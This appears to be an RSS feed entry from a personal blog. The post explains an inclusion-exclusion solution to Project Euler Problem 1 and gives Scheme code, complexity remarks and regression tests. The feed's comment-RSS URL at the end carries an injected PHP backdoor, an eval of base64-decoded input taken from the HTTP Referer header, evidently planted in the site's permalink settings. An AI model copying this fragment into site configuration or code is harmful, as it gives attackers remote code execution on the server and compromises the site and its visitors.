<p>There is a formula for the power of finite sets <center><img src="http://lakhturov.info/wordpress/wp-content/cache/tex_8e0cc588464f347d2f65b9fe533765f1.png" align="absmiddle" class="tex" alt="|A \bigcup B| = |A| + |B| - |A \bigcap B|" /></center> which can be generalized to a finite number of finite sets <center><img src="http://lakhturov.info/wordpress/wp-content/cache/tex_1be466bcaef28721ee09d4abd8f33a75.png" align="absmiddle" class="tex" alt="p(\bigcup\limits_i^n A_i) = \sum\limits_{i_1} p(A_{i_1}) - \sum\limits_{i_1,i_2} p(A_{i_1} \bigcap A_{i_2}) + \sum\limits_{i_1,i_2,i_3} p(A_{i_1} \bigcap A_{i_2} \bigcap A_{i_3}) - ... + (-1)^{n-1} p(\bigcap\limits_i^n A_i)" /></center> or in a somewhat less understandable, but concise notation <center><img src="http://lakhturov.info/wordpress/wp-content/cache/tex_7edf31413b6471b641a02b81ed49af3c.png" align="absmiddle" class="tex" alt="p(\bigcup\limits_i^n A_i) = \sum\limits_{\alpha \in 2^{\mathbb{N}_n}} (-1)^{|\alpha|-1} p(\bigcap\limits_{j \in \alpha} A_j)" /></center></p>
<p>Here <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_80095b66697fedba134933edb68756d4.png" align="absmiddle" class="tex" alt="p(...)" /> is a measure (i.e. it commutes with the union sign) and can be replaced with <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_84c843b3e9b63791a138d3851d5a6a01.png" align="absmiddle" class="tex" alt="|...|" /> &#8212; power of a set sign or, if we are in the natural numbers space, with the sum of elements sign, as in our case. <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_7b7f9dbfea05c83784f8b85149852f08.png" align="absmiddle" class="tex" alt="\alpha" /> is not a multiindex, but a subset of the natural numbers cut from <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_c4ca4238a0b923820dcc509a6f75849b.png" align="absmiddle" class="tex" alt="1" /> to <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_7b8b965ad4bca0e41ab51de7b31363a1.png" align="absmiddle" class="tex" alt="n" />.</p>
<p>Now by <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a8888708db9213e4f76f0e3ec0d982dc.png" align="absmiddle" class="tex" alt="\bigcup_{i=1}^n A_i" /> we denote the set of all the multiples of factors <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_59bdf0ba696e13164c5a926386f23cb0.png" align="absmiddle" class="tex" alt="f_i" />, less than certain number N, where i varies from 1 to n (each <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_693a3b974c23e87e8c941211cd45cfb8.png" align="absmiddle" class="tex" alt="A_i" /> is respectively the set of multiples of a factor <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_59bdf0ba696e13164c5a926386f23cb0.png" align="absmiddle" class="tex" alt="f_i" />). We use the above-mentioned formula to compute the measure of the union <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_a8888708db9213e4f76f0e3ec0d982dc.png" align="absmiddle" class="tex" alt="\bigcup_{i=1}^n A_i" /> via measures of all <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_693a3b974c23e87e8c941211cd45cfb8.png" align="absmiddle" class="tex" alt="A_i" /> and measures of all finite intersections of them.</p>
<p>Suppose, we have a number <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_0cc175b9c0f1b6a831c399e269772661.png" align="absmiddle" class="tex" alt="a" />, prime or not, and the set of all it&#8217;s multiples <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_7fc56270e7a70fa81a5935b72eacbe29.png" align="absmiddle" class="tex" alt="A" /> (they include only numbers less than N). Power of this set is of course <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_da30678f894db1d6fee6dacf25e43d04.png" align="absmiddle" class="tex" alt="N \div a" /> (div operation) and the sum of its members can be calculated by the well-known formula for the sum of an arithmetic progression.</p>
<p>As regards all the intersections, it is understandable that we ought to calculate the least common multiple (LCM) of taken factors, and the set-intersection of their multiples will be just a set of its multiples. However, the current version of the solution assumes that we take primes as factors, then the LCM of them is just their product. When I calculate proper LCM in Problem 5 (up to now there is a bruteforce version), I will switch the temp version to it.</p>
<p>Let&#8217;s see the solution. New util functions:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>mul-<span class="kw1">list</span> <span class="kw1">list</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>fold-left * <span class="nu0">1</span> <span class="kw1">list</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>^ base power<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">expt</span> base power<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>sum-arithmetic-progression first step n<span class="br0">&#41;</span> <span class="br0">&#40;</span>/ <span class="br0">&#40;</span>* n <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* <span class="nu0">2</span> first<span class="br0">&#41;</span> <span class="br0">&#40;</span>* step <span class="br0">&#40;</span>- n <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>The function that calculates subsets of a set:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>subsets set<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>recursion set rest<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> set<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">list</span> rest<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>head <span class="br0">&#40;</span><span class="kw1">car</span> set<span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>tail <span class="br0">&#40;</span><span class="kw1">cdr</span> set<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">append</span> <span class="br0">&#40;</span>recursion tail rest<span class="br0">&#41;</span> <span class="br0">&#40;</span>recursion tail <span class="br0">&#40;</span><span class="kw1">cons</span> head rest<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; <span class="br0">&#40;</span>recursion set &#8216;<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Important thing about this function is that it returns the empty set as the first element and the full set as the last element of a result list, all other subsets are in between. The number of subsets of a finite subset is just <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_d1db0d9c696a8c056e7117dbbb4ef6db.png" align="absmiddle" class="tex" alt="2^n" />, so the complexity is <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_c7cf1b9b9c957554447d062a3d1ab89c.png" align="absmiddle" class="tex" alt="O(2^n)" /> &#8212; it would be better visible with an imperative-iterative version of this function (I&#8217;m not posting it here). As regards memory, the function generates all the subsets as lists which in whole contain <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_f7d709c65516ea1e28dd5ec58a26c988.png" align="absmiddle" class="tex" alt="\sum_{k=1}^n k C^n_k = n 2^{n-1}" /> elements (strange, this neat formula isn&#8217;t on Wikipedia yet, I should add it there), that is the memory load is <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_9831cee432a69a2385832f8d20ef192f.png" align="absmiddle" class="tex" alt="O(n 2^n)" />. This is a not-so-good idea to load everything into memory, as we can rewrite this function (and the function that is down here in the post) iteratively with O(n) memory complexity &#8212; taking advantage of <a href="http://en.wikipedia.org/wiki/Combinadic">combinadics</a>, but for now I am satisfied enough with this version.</p>
<p>Using the formula above the solution now as simple as </p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>sum-multiples-less-than n divisors<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>sum-of-one factor<span class="br0">&#41;</span> <span class="br0">&#40;</span>sum-arithmetic-progression factor factor <span class="br0">&#40;</span>div n factor<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>lcm-temp factors<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> factors<span class="br0">&#41;</span> <span class="nu0">0</span> <span class="br0">&#40;</span>mul-<span class="kw1">list</span> factors<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>measure subset<span class="br0">&#41;</span> <span class="br0">&#40;</span>* <span class="br0">&#40;</span>^ <span class="br0">&#40;</span>- <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>+ <span class="br0">&#40;</span><span class="kw1">length</span> subset<span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>sum-of-one <span class="br0">&#40;</span>lcm-temp subset<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; <span class="br0">&#40;</span>sum-<span class="kw1">list</span> <span class="br0">&#40;</span><span class="kw1">map</span> measure <span class="br0">&#40;</span><span class="kw1">cdr</span> <span class="br0">&#40;</span>subsets divisors<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>With that (cdr) I cut off the empty subset, whose measure is zero (otherwise the (sum-of-one) function has to be a bit more complex).</p>
<p>Let&#8217;s be careful with notation: n here is actually not the same n, as in the (subsets) function, but the number <img src="http://lakhturov.info/wordpress/wp-content/cache/tex_8d9c307cb7f3c4a32822a51922d1ceaa.png" align="absmiddle" class="tex" alt="N" /> up there, the maximum of our multiples-sets. The performance complexity depends on k and N, but we are interested only in complexity, depending on N. Let&#8217;s assume that k is small comparing to N, which should be the usual case. Then the complexity is roughly speaking O(1), doesn&#8217;t depend on N, as we wanted (I remind that in the previous version we had O(N) complexity).</p>
<p>The final touches are the regression tests:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>assert <span class="br0">&#40;</span>= </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>sum-<span class="kw1">list</span> <span class="br0">&#40;</span>multiples-less-than-bruteforce <span class="nu0">10</span> &#8216;<span class="br0">&#40;</span><span class="nu0">3</span> <span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>sum-multiples-less-than <span class="nu0">10</span> &#8216;<span class="br0">&#40;</span><span class="nu0">3</span> <span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>assert <span class="br0">&#40;</span>=</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>sum-<span class="kw1">list</span> <span class="br0">&#40;</span>multiples-less-than-bruteforce <span class="nu0">1000</span> &#8216;<span class="br0">&#40;</span><span class="nu0">3</span> <span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>sum-multiples-less-than <span class="nu0">1000</span> &#8216;<span class="br0">&#40;</span><span class="nu0">3</span> <span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>assert <span class="br0">&#40;</span>=</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>sum-<span class="kw1">list</span> <span class="br0">&#40;</span>multiples-less-than-bruteforce <span class="nu0">10000</span> &#8216;<span class="br0">&#40;</span><span class="nu0">3</span> <span class="nu0">5</span> <span class="nu0">7</span> <span class="nu0">19</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>sum-multiples-less-than <span class="nu0">10000</span> &#8216;<span class="br0">&#40;</span><span class="nu0">3</span> <span class="nu0">5</span> <span class="nu0">7</span> <span class="nu0">19</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">;(assert (=</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">; &nbsp; &nbsp; &nbsp; &nbsp;(sum-list (multiples-less-than-bruteforce 1000 &#8216;(3 5 15)))</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">; &nbsp; &nbsp; &nbsp; (sum-multiples-less-than 1000 &#8216;(3 5 15))))</span></div>
</li>
</ol>
</div>
<p>The last commented one breaks, of course, as 15 is not prime - the LCM algo should be updated still.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/04/05/problem-1-ver-3-optimization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
